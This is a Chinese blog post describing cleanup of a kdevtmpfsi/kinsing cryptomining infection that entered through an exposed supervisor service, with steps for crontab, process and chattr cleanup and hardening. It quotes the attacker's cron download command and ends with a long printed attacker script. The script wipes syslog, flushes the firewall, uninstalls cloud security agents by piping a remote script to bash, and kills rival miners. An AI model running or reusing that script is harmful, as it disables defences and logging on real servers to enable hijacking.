记一次被注入挖矿程序kdevtmpfi解决记录

以你之姓@ 2022-10-28 10:06 271阅读 0赞

## 前言 ##

发现自己服务器资源使用异常，cpu使用率100%，内存使用也很多，且有陌生的进程。那很有可能是被入侵植入了挖矿程序

## 解决问题 ##

遇到这种问题切忌惊慌失措，一般挖矿程序除了占用服务资源不会有其他危害

### 1. 切断来源 ###

一般被侵入的话，服务器上的计划任务会被修改，会有一个进程一直在检测程序是否存在，如果只kill进程删除文件的话会发现过不了一会就会死灰复燃，所以斩草除根，先把去外界不安全的连接关掉。 被修改的计划任务如 `curl -o /tmp/kinsing http://45.137.155.55/kinsing`

1.  修改服务器密码如果是密钥登陆的切换密钥

passwd user1 #使用root用户修改密码，root用户密码最好也修改下

1.  服务器配置防火墙禁止例如计划任务里的ip访问，云服务器的话可以只允许公司网络访问，去掉非必要暴漏在外的服务端口访问权限，异常访问ip加入防火墙
2.  检查系统的ssh密钥文件，删掉陌生密钥

vim /root/.ssh/authorized_keys

### 2. 删除挖矿程序 ###

如果直接删除的话可能会发现一会就又开始运行，这是因为没有kill掉它的父进程

1.  检查计划任务删掉异常任务

# 查看
    crontab -l #查看root用户下的
    crontav -u centos -l #查看centos用户下的(最好普通用户的也看下，方式删除不干净)
    # 修改
    crontab -e 
    crontab -u centos -e

1.  查看挖矿程序的父进程，并删除

systemctl status pid
    # 或者
    pstree |grep kdevtmpfsi -C 30
    # 把异常的父进程杀掉
    killall kinjing
    # 查看是否还有遗漏
    ps -aux | grep kinsing
    ps -aux | grep kdevtmpfsi
    # 删除挖矿程序(一般在/tmp目录和/var/tmp)
    rm -rf kinsing 
    rm -rf kdevtmpfsi
    # 全局查找是否还有遗漏文件
    find / -name kdevtmpfsi
    find / -name kinsing

**注意：** 用root用户删除文件时可能会提示没有权限，分析挖矿脚本会发现他们给文件加了锁权限，有兴趣可以了解下[chattr命令][chattr]

**如何解决**

# 查看加了那些权限
    lsattr /tmp -d # 删不掉可能是加了i权限
    # 去掉权限
    chattr -i filename # -号表示去掉，+号表示添加权限
    # 然后再去删除应该就没问题啦

等文件都删了可以检查下/tmp/等目录的权限是否有问题，对比着其他目录做恢复`chmod -R 755 /tmp`

### 3. 持续观察一段时间 ###

top -c

如果发现死灰复燃,那就是还有的地方没有删除，可以继续按以上步骤观察,同时还可以关注下有没有curl\\wget的异常进程，还有普通用户的计划任务也要检查下

## 预防 ##

1.  严格控制服务器的访问权限，不要设置简单的密码
2.  非必要端口不要暴漏到公网，且服务最好不要用默认端口。尤其是`redis` `supervisor`如果非要暴漏的话要配置强密码，且定期更换
3.  通过`lastd`检查登陆失败ip，加入到防火墙

## 复盘 ##

一般挖矿脚本都是走服务的漏洞提升权限，在服务注入脚本实现侵入。且一般都会删除操作历史和`syslog`文件。我们这次是因为`supervisor`使用默认端口且暴漏到公网遭到黑客侵入。

### supervisor如何提升权限并在服务器执行脚本 ###

supervisor版本`3.3.1`

**示例：**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDIwODA0Mg_size_16_color_FFFFFF_t_70][]

## 附上挖矿脚本 ##

#!/bin/sh
    ulimit -n 65535
    rm -rf /var/log/syslog
    chattr -iua /tmp/
    chattr -iua /var/tmp/
    chattr -R -i /var/spool/cron
    chattr -i /etc/crontab
    ufw disable
    iptables -F
    echo "nope" >/tmp/log_rot
    sudo sysctl kernel.nmi_watchdog=0
    echo '0' >/proc/sys/kernel/nmi_watchdog
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    userdel akay
    userdel vfinder
    chattr -iae /root/.ssh/
    chattr -iae /root/.ssh/authorized_keys
    rm -rf /tmp/addres*
    rm -rf /tmp/walle*
    rm -rf /tmp/keys
    if ps aux | grep -i '[a]liyun'; then
      curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
      curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      pkill aliyun-service
      rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
      rm -rf /usr/local/aegis*
      systemctl stop aliyun.service
      systemctl disable aliyun.service
      service bcm-agent stop
      yum remove bcm-agent -y
      apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
      /usr/local/qcloud/stargate/admin/uninstall.sh
      /usr/local/qcloud/YunJing/uninst.sh
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
    netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
    
    
    
    netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :4444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :14444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :14433 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    netstat -anp | grep :13531 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    cat /tmp/.X11-unix/01|xargs -I % kill -9 %
    cat /tmp/.X11-unix/11|xargs -I % kill -9 %
    cat /tmp/.X11-unix/22|xargs -I % kill -9 %
    cat /tmp/.pg_stat.0|xargs -I % kill -9 %
    cat /tmp/.pg_stat.1|xargs -I % kill -9 %
    cat $HOME/data/./oka.pid|xargs -I % kill -9 %
    pkill -f zsvc
    ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
    ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
    ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux| grep "sleep 60"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps aux| grep "./crun"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -vw kdevtmpfsi | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi|grep -v postgresq1 | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
    ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
    netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
    systemctl stop c3pool_miner.service
    pkill -f pastebin
    pkill -f ssh-agent
    pkill -f 185.193.127.115
    pgrep -f monerohash | xargs -I % kill -9 %
    pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
    pgrep -f xzpauectgr | xargs -I % kill -9 %
    pgrep -f slxfbkmxtd | xargs -I % kill -9 %
    pgrep -f mixtape | xargs -I % kill -9 %
    pgrep -f addnj | xargs -I % kill -9 %
    pgrep -f 200.68.17.196 | xargs -I % kill -9 %
    pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
    pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
    pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
    pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
    pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
    pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
    pgrep -f mqdsflm.cf | xargs -I % kill -9 %
    pgrep -f stratum | xargs -I % kill -9 %
    pgrep -f lower.sh | xargs -I % kill -9 %
    pgrep -f ./ppp | xargs -I % kill -9 %
    pgrep -f cryptonight | xargs -I % kill -9 %
    pgrep -f ./seervceaess | xargs -I % kill -9 %
    pgrep -f ./servceaess | xargs -I % kill -9 %
    pgrep -f ./servceas | xargs -I % kill -9 %
    pgrep -f ./servcesa | xargs -I % kill -9 %
    pgrep -f ./vsp | xargs -I % kill -9 %
    pgrep -f ./jvs | xargs -I % kill -9 %
    pgrep -f ./pvv | xargs -I % kill -9 %
    pgrep -f ./vpp | xargs -I % kill -9 %
    pgrep -f ./pces | xargs -I % kill -9 %
    pgrep -f ./rspce | xargs -I % kill -9 %
    pgrep -f ./haveged | xargs -I % kill -9 %
    pgrep -f ./jiba | xargs -I % kill -9 %
    pgrep -f ./watchbog | xargs -I % kill -9 %
    pgrep -f ./A7mA5gb | xargs -I % kill -9 %
    pgrep -f kacpi_svc | xargs -I % kill -9 %
    pgrep -f kswap_svc | xargs -I % kill -9 %
    pgrep -f kauditd_svc | xargs -I % kill -9 %
    pgrep -f kpsmoused_svc | xargs -I % kill -9 %
    pgrep -f kseriod_svc | xargs -I % kill -9 %
    pgrep -f kthreadd_svc | xargs -I % kill -9 %
    pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
    pgrep -f kintegrityd_svc | xargs -I % kill -9 %
    pgrep -f jawa | xargs -I % kill -9 %
    pgrep -f oracle.jpg | xargs -I % kill -9 %
    pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
    pgrep -f 188.209.49.54 | xargs -I % kill -9 %
    pgrep -f 181.214.87.241 | xargs -I % kill -9 %
    pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
    pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
    pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
    pgrep -f servim | xargs -I % kill -9 %
    pgrep -f kblockd_svc | xargs -I % kill -9 %
    pgrep -f native_svc | xargs -I % kill -9 %
    pgrep -f ynn | xargs -I % kill -9 %
    pgrep -f 65ccEJ7 | xargs -I % kill -9 %
    pgrep -f jmxx | xargs -I % kill -9 %
    pgrep -f 2Ne80nA | xargs -I % kill -9 %
    pgrep -f sysstats | xargs -I % kill -9 %
    pgrep -f systemxlv | xargs -I % kill -9 %
    pgrep -f watchbog | xargs -I % kill -9 %
    pgrep -f OIcJi1m | xargs -I % kill -9 %
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f devtools
    pkill -f systemctI
    pkill -f watchbog
    pkill -f cryptonight
    pkill -f sustes
    pkill -f xmrig
    pkill -f xmrig-cpu
    pkill -f 121.42.151.137
    pkill -f sysguard
    pkill -f networkservice
    pkill -f sysupdate
    pkill -f phpguard
    pkill -f phpupdate
    pkill -f networkmanager
    pkill -f /tmp/init12.cfg
    pkill -f kieuanilam.me
    pkill -f init12.cfg
    pkill -f nginxk
    pkill -f tmp/wc.conf
    pkill -f xmrig-notls
    pkill -f xmr-stak
    pkill -f suppoie
    pkill -f zer0day.ru
    pkill -f dbus-daemon--system
    pkill -f nullcrew
    pkill -f systemctI
    pkill -f kworkerds
    pkill -f init10.cfg
    pkill -f /wl.conf
    pkill -f crond64
    pkill -f sustse
    pkill -f vmlinuz
    pkill -f exin
    pkill -f apachiii
    rm -rf /usr/bin/config.json
    rm -rf /usr/bin/exin
    killall log_rot
    pkill -f log_rot
    rm -rf /tmp/wc.conf
    rm -rf /tmp/log_rot
    rm -rf /tmp/apachiii
    rm -rf /tmp/sustse
    rm -rf /tmp/php
    rm -rf /tmp/p2.conf
    rm -rf /tmp/pprt
    rm -rf /tmp/ppol
    rm -rf /tmp/javax/config.sh
    rm -rf /tmp/javax/sshd2
    rm -rf /tmp/.profile
    rm -rf /tmp/1.so
    rm -rf /tmp/kworkerds
    rm -rf /tmp/kworkerds3
    rm -rf /tmp/kworkerdssx
    rm -rf /tmp/xd.json
    rm -rf /tmp/syslogd
    rm -rf /tmp/syslogdb
    rm -rf /tmp/65ccEJ7
    rm -rf /tmp/jmxx
    rm -rf /tmp/2Ne80nA
    rm -rf /tmp/dl
    rm -rf /tmp/ddg
    rm -rf /tmp/systemxlv
    rm -rf /tmp/systemctI
    rm -rf /tmp/.abc
    rm -rf /tmp/osw.hb
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/.java
    rm -rf /tmp/.omed
    rm -rf /tmp/.tmpc
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/gates.lod
    rm -rf /tmp/conf.n
    rm -rf /tmp/update.sh
    rm -rf /tmp/devtool
    rm -rf /tmp/devtools
    rm -rf /tmp/fs
    rm -rf /tmp/.rod
    rm -rf /tmp/.rod.tgz
    rm -rf /tmp/.rod.tgz.1
    rm -rf /tmp/.rod.tgz.2
    rm -rf /tmp/.mer
    rm -rf /tmp/.mer.tgz
    rm -rf /tmp/.mer.tgz.1
    rm -rf /tmp/.hod
    rm -rf /tmp/.hod.tgz
    rm -rf /tmp/.hod.tgz.1
    rm -rf /tmp/84Onmce
    rm -rf /tmp/C4iLM4L
    rm -rf /tmp/lilpip
    rm -rf /tmp/3lmigMo
    rm -rf /tmp/am8jmBP
    rm -rf /tmp/tmp.txt
    rm -rf /tmp/baby
    rm -rf /tmp/.lib
    rm -rf /tmp/systemd
    rm -rf /tmp/lib.tar.gz
    rm -rf /tmp/baby
